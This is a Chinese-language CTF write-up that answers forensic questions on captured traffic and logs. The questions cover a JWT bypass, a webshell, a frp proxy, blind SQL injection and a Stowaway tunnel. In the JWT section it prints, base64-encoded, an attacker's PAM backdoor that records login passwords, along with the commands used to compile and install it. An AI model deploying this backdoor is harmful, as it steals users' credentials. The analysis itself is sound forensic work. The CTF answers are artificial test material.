轉發自小學弟的WP,有兩個取證類的題目因為電腦volatility的問題就沒有寫在題解里了
題目資源
題目中的流量文件都放到公眾號芸潘了,后台回復隴劍杯即可獲得下載鏈接
簽到題
使用wireshark打開下載下來的‘Good.pcapng’流量包
1.1此時正在進行的可能是__協議的網絡攻擊(http,dns,ftp)
打開流量包發現總共有ARP HTTP Tcp等協議,沒有發現ftp,dns包,所以可以認為是http攻擊

jwt題
使用wireshark打開下載下來的‘goroot.pcap’流量包
發現有http包,便選擇過濾,右鍵選擇追蹤流進入http流

2.1該網站使用了什么認證方式
科普知識:JWT
JWT全程為json web token 是目前最流行的跨域認證解決方案。
跨域認證的問題
互聯網服務的用戶認證流程一般如下
- 用戶向服務器發送用戶名和密碼
- 服務器驗證過后,在當前對話(session)里面保存相關數據,比如用戶角色,登陸時間等
- 服務器向用戶返回一個session_id,寫入用戶的cookie
- 用戶隨后的每一個請求,都會通過cookie,將session_id傳回服務器。
- 服務器收到session_id。找到前期保存的數據,由此得到用戶的身份。
現在我們考慮的是如果要求A網站和B網站是同一家公司的關聯服務,現在要求,用戶只要在其中一個網站登錄,再訪問另一個網站就會自動登錄,請問怎么實現。
JWT就提供了解決方案,服務器不保存用戶的session數據,所有數據都再客戶端,每次請求都發回服務器。
原理
JWT的原理是,服務器認證以后,生成一個JSON對象,發送給用戶,就像下面這樣:
{ "name":"smith",
"age":30,
"sex":男 }
(有點類似於python的字典)
以后,用戶每次想和服務器通訊,都會發送這個json對象。服務器完全只靠這個對象來認定用戶身份。這樣服務器就可以不保存session數據,減輕了服務器的載荷同時也易於擴展。
JWT的數據結構
實際的JWT就像下面這樣

中間用.分割成三個部分。JWT內部是沒有換行的,這里是為了好表示,所以寫成了幾行。
JWT的三個部分有Header Payload Signature,分別是頭部,載荷,簽名
Header部分就是一個json對象,它用來描述JWT的元數據。

payload也是一個json對象,用來存放我們實際需要傳送的數據。

最后Signature是為了防止對兩部分內容進行數據篡改,而采用的安全措施。
服務器會存有一個密鑰,然后使用header里面指定的簽名算法(默認為HMAC SHA256),按照以下公式來產生簽名。

然后把三個部分拼接為字符串,每個部分用點(.)分割,然后傳給用戶。
JWT的幾個特點
- JWT默認是不加密的。所以最好不要將秘密數據放在JWT里面。
- JWT不僅可以用作用戶驗證,也可以用於交換信息,有效使用JWT,可以降低服務器查詢數據庫的次數。
- JWT的最大缺點為,因為服務器不保存session狀態,所以再服務器簽發了某個JWT后,並不能廢除或者更改某個TOKEN。
- JWT本身包含了認證信息,一旦泄露的話,任何人都可以獲得該令牌的所有權限,為了減少盜用,JWT的有效期應該設置為比較短。
- 傳輸JWT的時候,應該用HTTPS協議傳輸。
2.1解法
查找數據包,會發現再token里有下列數據

這就是JWT的類型,所以判斷出使用了JWT認證方式。
2.2黑客繞過驗證使用的JWT中,id和username是__
用wirkshark進行過濾,因為是涉及到id和username,猜測用的是post方法。
所以wireshark語法為http.request.method=="POST" ,找到一個info為identity數據包追蹤流。
這里由於我菜,一直以為

這個是明碼標價告訴了我答案(當時我還覺得自己很聰明,id就是identity的縮寫),后頭才發現是社會的毒打。
還是需要通過jwt解密,所以復制token,去jwt在線解密


然后發現是錯的!!!!
然后就只有一個一個查包,終於再這樣一個包下

發現了不一樣的token

然后復制解碼

所以答案為10087#admin
2.3黑客獲取webshell之后,權限是__
就在剛剛找到token的包里面,仔細看就會發現他輸入了whoami命令,用來查看權限。

然后服務器彈出框: alert("root\n")
所以答案為root
2.4黑客上傳的惡意文件文件名是__
依然是找包,發現有一個這樣的包

command=echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d%20>/tmp/1.c
黑客將一些特殊編碼保存為一個叫做1.c的文件,所以我們可以知道答案為1.c
2.5 黑客再服務器上編譯的惡意so文件,文件名是__
這個題目很明顯是后綴為so的文件,隨便找包就會發現一個叫做looter.so的文件
所以答案為looter.so
2.6 黑客在服務器上修改了一個配置文件,文件的絕對路徑為__
找到這樣一個數據包

里面

可以知道文件被導向/etc/pam.d/common-auth路徑,猜測這就是被修改的配置文件。
webshell
3.1黑客登陸系統使用的密碼是__
使用wireshark打開下載下來的'hack.pcap'流量包
過濾語法為http.request.method=="POST"
找到一個描述為

的包,打開進入tcp流

所以密碼為:Admin!@#
3.2黑客修改了一個日志文件,文件的絕對路徑為__
仍然是通過post方法來找,發現有許多個包都指向了一個相對路徑
在代碼為332包里,看到黑客將webshell寫入了一個
的文件,所以猜測絕對路徑就是進行了拼接
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3黑客獲取webshell之后的權限是:
找到兩個帶有命令whoami的包里,代碼為200那一個,找到它的返回包

319包

便可以看到權限為www-data
3.4黑客寫入的webshell文件名是__

通過流量分析找到webshell的文件名,發現了一個叫做1.php的文件,這個很可能就是一個webshell文明名。
3.5黑客上傳的代理工具客戶端名字是__
這道題也是看了網上師傅的解法,為什么這么做哥們完全不知道,找到了序號為343的流量包,打開發現

經過url解碼

然后截取那個以j68的,字符進行base64解碼,從第二位算起

得到為frpc.ini
3.6黑客代理工具的回連服務端ip是_
將344包中POST內容中鍵值為xa5d....

進行十六進制轉換。
然后就

3.7黑客的socks5的連接賬號、密碼是__
仍然是344包,追蹤tcp流,並進行16進制解碼,得到用戶名和密碼

sql注入
8.1黑客在注入過程中采用的注入手法叫__
下載下來文件發現只有一個日志文件。

打開,又關掉(hhhhh)
這種日志形式的sql注入回顯,不必多言,就是布爾盲注類型
這里說一下布爾盲注的定義:
基於布爾的盲注:
Web的頁面的僅僅會返回True和False。那么布爾盲注就是進行SQL注入之后然后根據頁面返回的True或者是False來得到數據庫中的相關信息。頁面沒有顯示為,沒有輸出sql語句執行錯誤信息,只能通過頁面返回正常不正常來判斷是否存在注入。
8.2黑客在注入過程中,最終獲取flag的數據庫名、表名和字段名是__。
這個主要是通過頁面回顯的字數來判斷你是否正確的猜到名字。
這里進行一個簡單的舉例:

這個是在猜測庫名的第一個字符。我們發現網頁回顯的字數,大多數都在418 417左右,到但是最后一個472明顯多了很多,我們猜測他就是正確的回顯。即數據庫名的第一個字符為'S'
由此可以舉一反三,東施效顰,做出來答案為:
庫名:sqli, 表名:flag 字段:flag
8.3 flag值為_
這道題一個個來拼接確實太麻煩了。最好是動用腳本
腳本就直接抄另外師傅的了
from urllib import parse
num=0
line=0
tmp1=1
tmp2=2
str1=''
with open("access.log",'r') as f:
string=f.readline()
while(string !=''):
if("sqli.flag" in string):
string=parse.unquote(string)
num=string.find("sqli.flag")#字符
num+=19
line=string.find("sqli.flag")
line+=11
if(string[line+1] ==","):
tmp1=int(string[line])
elif(string[line+1] !=","):
num+=1
tmp1=int(string[line:line+2])
if(tmp1 ==tmp2): #發現目標字符,是上一行的
tmp2+=1
print(str1,end="")
str1=string[num] #保留上一行的字符
string=f.readline()
原文鏈接:https://blog.csdn.net/weixin_46245411/article/details/120304208
日志分析
4.1網絡存在源碼泄露,源碼文件名是_
打開下載下來的日志文件發現,網頁里面有許多請求。

其中404請求是非正常訪問的,所以我們只需要看200請求的就好了。過濾一下200,然后發現

有這么一個記錄,而且還是zip形式壓縮包,所以該題答案為www.zip
4.2 分析攻擊流量,黑客往/tmp目錄寫入了一個文件,文件名為__
因為題目都說了是往/tmp寫入文件,所以我們只需要搜索/tmp
然后發現了這樣的記錄

由此可知答案為secc_car
4.3分析攻擊流量,黑客使用的是__類讀取了秘密文件。
這道題就是看看上面那題的日志記錄后面,發現一個php的函數

這里簡單說一下該函數是為了php處理大文件讀取的函數。
所以該題答案為splfileobject
ios題
10.1 黑客所控制的C&C服務器ip是_
C&C服務器的全稱為dommand and control server,翻譯過來就是命令和控制服務器。他類似於一個黑客和受害者的中間件。因為我國普通人是缺少公網ip地址的,所以,黑客經常使用一個中間服務器(比如阿里雲,騰訊雲等)來充當C&C服務器。這個中間服務器的作用是將我們本地內網的主機監聽的端口映射到公網ip的某個端口,這樣受害者機器訪問中轉服務器監聽的端口時就相當於訪問了我們本地監聽的端口。
此題就是要我們找到中間服務器的ip地址。打開下載下來的流量包。
第一題在機緣巧合之下,我們找到了序號為262的流量包。
打開發現
可見黑客做了端口轉發操作,由此,可知ip地址為 3.128.156.159
10.2黑客利用的github開源項目的名字為__
同樣是上面的流量包

可知它在github上下了一個叫做stowaway的軟件。
10.3通訊加密密鑰的明文是_
上題我們知道他用的是stowaway,然后github進去看看這個軟件的介紹
https://github.com/ph4ntonn/Stowaway
我們可以發現:

然后就可以知道,這個東西了。就是第一題圖里的
hack4sec
10.4黑客通過sql盲注拿到了一個敏感數據,內容是_
這里需要用到我們下載下來的另一個文件,keylog.txt,我們需要將它導入到wireshark來解密一些加密的傳輸包。然后輸入http2,可以發現類似於sql注入的痕跡

然后就只需要拼接了
最后答案為:746558f3-c841-456b-85d7-d6c0f2edabb2
10.5 黑客端口掃描的掃描器的掃描范圍是:_

因為我們是client,我們需要探測的服務器是server,然后掃描端口常用的工具是nmap,它的默認掃描方式是syn掃描,也就是說,它會自動對端口發送一個syn包,然后該端口如果開着,就會返回一個syn和一個ack包,由此判斷該端口是否運行。所以我們查找流量包,可以知道

由此可以判斷該題答案為10-499
10.7黑客訪問了/攻擊了內網的幾個服務器,ip地址為:_
172.28.0.2#192.168.1.12
10.8黑客寫入了一個webshell,其密碼為:_
翻閱access文件,發現以下
base64解碼可以知道是在執行命令whoami,所以webshell密碼為fxxk
END
建了一個微信的安全交流群,歡迎添加我微信備注進群,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 😃
